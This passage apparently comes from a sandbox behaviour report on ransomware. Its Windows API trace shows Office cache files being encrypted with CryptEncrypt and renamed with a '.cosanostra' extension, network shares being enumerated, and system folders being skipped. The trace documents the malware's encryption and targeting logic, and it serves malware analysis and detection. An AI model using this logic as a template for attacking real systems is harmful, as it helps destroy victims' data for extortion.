dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0110.894] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0110.894] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0110.909] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffff688, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.910] WriteFile (in: hFile=0x110, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x978, lpNumberOfBytesWritten=0x28df374, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df374*=0x978, lpOverlapped=0x0) returned 1 [0110.910] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.910] WriteFile (in: hFile=0x110, lpBuffer=0x28df3b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df374, lpOverlapped=0x0 | out: lpBuffer=0x28df3b4*, lpNumberOfBytesWritten=0x28df374*=0x4, lpOverlapped=0x0) returned 1 [0110.910] WriteFile (in: hFile=0x110, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df374, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df374*=0x30, lpOverlapped=0x0) returned 1 [0110.910] CloseHandle (hObject=0x110) returned 1 [0110.917] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0110.917] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0110.918] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3b0 | out: pbBuffer=0x28df3b0) returned 1 [0110.918] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3a8*=0x30) returned 1 [0110.918] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0110.919] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 81 [0110.919] StrStrW (lpFirst="OutlookMUI.msi", lpSrch=".txt") returned 0x0 [0110.934] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.934] WriteFile (in: hFile=0x110, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df36c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df36c*=0x2800, lpOverlapped=0x0) returned 1 [0110.934] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.934] WriteFile (in: hFile=0x110, lpBuffer=0x28df3ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df36c, lpOverlapped=0x0 | out: lpBuffer=0x28df3ac*, lpNumberOfBytesWritten=0x28df36c*=0x4, lpOverlapped=0x0) returned 1 [0110.962] WriteFile (in: hFile=0x110, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df36c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df36c*=0x30, lpOverlapped=0x0) returned 1 [0110.962] CloseHandle (hObject=0x110) returned 1 [0110.962] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.cosanostra") returned 92 [0110.962] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.cosanostra")) returned 1 [0110.963] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3b0 | out: pbBuffer=0x28df3b0) returned 1 [0110.963] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3a8*=0x30) returned 1 [0110.963] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.964] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3a8 | out: pbBuffer=0x28df3a8) returned 1 [0110.964] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3a0*=0x30) returned 1 [0110.964] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.966] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3a0 | out: pbBuffer=0x28df3a0) returned 1 [0110.966] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df398*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df398*=0x30) returned 1 [0110.966] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0110.966] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0110.966] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0111.012] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffff8a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.012] WriteFile (in: hFile=0x110, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x28df35c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df35c*=0x75e, lpOverlapped=0x0) returned 1 [0111.012] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.012] WriteFile (in: hFile=0x110, lpBuffer=0x28df39c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df35c, lpOverlapped=0x0 | out: lpBuffer=0x28df39c*, lpNumberOfBytesWritten=0x28df35c*=0x4, lpOverlapped=0x0) returned 1 [0111.012] WriteFile (in: hFile=0x110, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df35c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df35c*=0x30, lpOverlapped=0x0) returned 1 [0111.012] CloseHandle (hObject=0x110) returned 1 [0111.012] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0111.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0111.013] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3a0 | out: pbBuffer=0x28df3a0) returned 1 [0111.013] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df398*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df398*=0x30) returned 1 [0111.013] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0111.014] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 84 [0111.014] StrStrW (lpFirst="PowerPointMUI.msi", lpSrch=".txt") returned 0x0 [0111.034] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.034] WriteFile (in: hFile=0x110, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df35c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df35c*=0x2800, lpOverlapped=0x0) returned 1 [0111.034] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.034] WriteFile (in: hFile=0x110, lpBuffer=0x28df39c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df35c, lpOverlapped=0x0 | out: lpBuffer=0x28df39c*, lpNumberOfBytesWritten=0x28df35c*=0x4, lpOverlapped=0x0) returned 1 [0111.044] WriteFile (in: hFile=0x110, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df35c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df35c*=0x30, lpOverlapped=0x0) returned 1 [0111.044] CloseHandle (hObject=0x110) returned 1 [0111.044] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.cosanostra") returned 95 [0111.044] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.cosanostra")) returned 1 [0111.045] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df398 | out: pbBuffer=0x28df398) returned 1 [0111.045] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df390*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df390*=0x30) returned 1 [0111.045] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.045] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df398 | out: pbBuffer=0x28df398) returned 1 [0111.045] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df390*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df390*=0x30) returned 1 [0111.045] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.063] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df390 | out: pbBuffer=0x28df390) returned 1 [0111.063] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df388*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df388*=0x30) returned 1 [0111.063] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0111.067] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 79 [0111.067] StrStrW (lpFirst="ExcelMUI.xml", lpSrch=".txt") returned 0x0 [0111.069] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff9e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.070] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x28df34c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df34c*=0x61d, lpOverlapped=0x0) returned 1 [0111.070] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.070] WriteFile (in: hFile=0x138, lpBuffer=0x28df38c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df34c, lpOverlapped=0x0 | out: lpBuffer=0x28df38c*, lpNumberOfBytesWritten=0x28df34c*=0x4, lpOverlapped=0x0) returned 1 [0111.070] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df34c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df34c*=0x30, lpOverlapped=0x0) returned 1 [0111.071] CloseHandle (hObject=0x138) returned 1 [0111.071] wnsprintfW (in: pszDest=0x267cc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.cosanostra") returned 90 [0111.071] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.cosanostra")) returned 1 [0111.073] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df388 | out: pbBuffer=0x28df388) returned 1 [0111.073] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df380*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df380*=0x30) returned 1 [0111.073] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0111.075] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 79 [0111.075] StrStrW (lpFirst="ExcelMUI.msi", lpSrch=".txt") returned 0x0 [0111.109] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.109] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df344, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df344*=0x2800, lpOverlapped=0x0) returned 1 [0111.110] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.111] WriteFile (in: hFile=0x138, lpBuffer=0x28df384*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df344, lpOverlapped=0x0 | out: lpBuffer=0x28df384*, lpNumberOfBytesWritten=0x28df344*=0x4, lpOverlapped=0x0) returned 1 [0111.259] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df344, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df344*=0x30, lpOverlapped=0x0) returned 1 [0111.259] CloseHandle (hObject=0x138) returned 1 [0111.259] wnsprintfW (in: pszDest=0x267cc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.cosanostra") returned 90 [0111.260] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.cosanostra")) returned 1 [0111.260] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df388 | out: pbBuffer=0x28df388) returned 1 [0111.260] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df380*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df380*=0x30) returned 1 [0111.260] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0111.261] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 78 [0111.261] StrStrW (lpFirst="ExcelLR.cab", lpSrch=".txt") returned 0x0 [0111.292] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.292] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df344, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df344*=0x2800, lpOverlapped=0x0) returned 1 [0111.342] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.342] WriteFile (in: hFile=0x138, lpBuffer=0x28df384*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df344, lpOverlapped=0x0 | out: lpBuffer=0x28df384*, lpNumberOfBytesWritten=0x28df344*=0x4, lpOverlapped=0x0) returned 1 [0111.751] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df344, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df344*=0x30, lpOverlapped=0x0) returned 1 [0111.751] CloseHandle (hObject=0x138) returned 1 [0111.752] wnsprintfW (in: pszDest=0x267cc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.cosanostra") returned 89 [0111.752] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.cosanostra")) returned 1 [0111.756] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df380 | out: pbBuffer=0x28df380) returned 1 [0111.756] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df378*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df378*=0x30) returned 1 [0111.756] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.862] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df380 | out: pbBuffer=0x28df380) returned 1 [0111.862] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df378*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df378*=0x30) returned 1 [0111.862] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 7 os_tid = 0xa4c [0074.017] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x0, lphEnum=0x2bbf78c | out: lphEnum=0x2bbf78c*=0x24c310) returned 0x0 [0077.087] WNetEnumResourceW (in: hEnum=0x24c310, lpcCount=0x2bbf784, lpBuffer=0x253ea8, lpBufferSize=0x2bbf788 | out: lpcCount=0x2bbf784, lpBuffer=0x253ea8, lpBufferSize=0x2bbf788) returned 0x0 [0077.087] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x253ea8, lphEnum=0x2bbf764 | out: lphEnum=0x2bbf764*=0x257fe8) returned 0x0 [0077.105] WNetEnumResourceW (in: hEnum=0x257fe8, lpcCount=0x2bbf75c, lpBuffer=0x279fe8, lpBufferSize=0x2bbf760 | out: lpcCount=0x2bbf75c, lpBuffer=0x279fe8, lpBufferSize=0x2bbf760) returned 0x103 [0077.105] WNetCloseEnum (hEnum=0x257fe8) returned 0x0 [0077.105] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x253ec8, lphEnum=0x2bbf764 | out: lphEnum=0x2bbf764*=0x257fe8) returned 0x4b8 [0093.313] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x253ee8, lphEnum=0x2bbf764 | out: lphEnum=0x2bbf764*=0x257fe8) returned 0x4c6 [0093.315] WNetEnumResourceW (in: hEnum=0x24c310, lpcCount=0x2bbf784, lpBuffer=0x253ea8, lpBufferSize=0x2bbf788 | out: lpcCount=0x2bbf784, lpBuffer=0x253ea8, lpBufferSize=0x2bbf788) returned 0x103 [0093.315] WNetCloseEnum (hEnum=0x24c310) returned 0x0 Thread: id = 8 os_tid = 0xa50 [0075.717] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\*") returned 8 [0075.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 0x2183e8 [0075.718] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Windows") returned -1 [0075.718] lstrlenW (lpString="Windows") returned 7 [0075.718] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Program Files") returned -1 [0075.718] lstrlenW (lpString="Program Files") returned 13 [0075.718] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Program Files (x86)") returned -1 [0075.718] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.718] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="$Recycle.bin") returned 0 [0075.718] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0075.718] lstrcmpiW (lpString1="Boot", lpString2="Windows") returned -1 [0075.718] lstrlenW (lpString="Windows") returned 7 [0075.718] lstrcmpiW (lpString1="Boot", lpString2="Program Files") returned -1 [0075.718] lstrlenW (lpString="Program Files") returned 13 [0075.718] lstrcmpiW (lpString1="Boot", lpString2="Program Files (x86)") returned -1 [0075.718] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.718] lstrcmpiW (lpString1="Boot", lpString2="$Recycle.bin") returned 1 [0075.718] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.718] lstrcmpiW (lpString1="Boot", lpString2="System Volume Information") returned -1 